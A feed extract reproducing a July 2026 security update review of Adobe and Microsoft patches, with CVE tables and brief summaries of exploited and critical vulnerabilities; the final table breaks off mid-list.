Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49802">CVE-2026-49802</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49806">CVE-2026-49806</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50674">CVE-2026-50674</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49804">CVE-2026-49804</a></td><td><p>Windows USB Video Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50454">CVE-2026-50454</a></td><td><p>Windows User Interface Core Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49176">CVE-2026-49176</a></td><td><p>Windows WalletService Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49800">CVE-2026-49800</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50480">CVE-2026-50480</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56173">CVE-2026-56173</a></td><td><p>Windows WebView Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58632">CVE-2026-58632</a></td><td><p>Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54107">CVE-2026-54107</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54986">CVE-2026-54986</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54112">CVE-2026-54112</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54114">CVE-2026-54114</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50670">CVE-2026-50670</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50688">CVE-2026-50688</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50687">CVE-2026-50687</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56176">CVE-2026-56176</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58628">CVE-2026-58628</a></td><td><p>Windows Wireless Network Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50295">CVE-2026-50295</a></td><td><p>Windows Zero Trust DNS Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50509">CVE-2026-50509</a></td><td><p>Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h2>Zero-Day Vulnerabilities: Known Exploited</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56155">CVE-2026-56155</a></td><td><p>Active Directory Federation Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56164">CVE-2026-56164</a></td><td><p>Microsoft SharePoint Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>5.3</p></td></tr></tbody></table><h2>Zero-Day Vulnerabilities: Publicly Disclosed (No known exploitation)</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50661">CVE-2026-50661</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>Yes</p></td><td><p>6.1</p></td></tr></tbody></table><h2>Critical RCEs</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56159">CVE-2026-56159</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48561">CVE-2026-48561</a></td><td><p>Microsoft Copilot Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55944">CVE-2026-55944</a></td><td><p>Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55008">CVE-2026-55008</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50522">CVE-2026-50522</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58644">CVE-2026-58644</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55040">CVE-2026-55040</a></td><td><p>Microsoft SharePoint Server Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57092">CVE-2026-57092</a></td><td><p>Microsoft Windows VMSwitch Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55010">CVE-2026-55010</a></td><td><p>Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54990">CVE-2026-54990</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56190">CVE-2026-56190</a></td><td><p>Remote Desktop Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42990">CVE-2026-42990</a></td><td><p>SQL Server ODBC driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50518">CVE-2026-50518</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49172">CVE-2026-49172</a></td><td><p>Windows FTP Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50380">CVE-2026-50380</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49798">CVE-2026-49798</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50447">CVE-2026-50447</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56188">CVE-2026-56188</a></td><td><p>Windows Server Network driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr></tbody></table><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</guid>
<pubDate>Tue, 14 Jul 2026 20:22:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our <a href="https://www.youtube.com/playlist?list=PLeFSM_a8Jri75_5-NpydcFneOaTvr3vJE">YouTube</a> channel. It should be posted within a couple of hours after the release.</p><p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  






  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
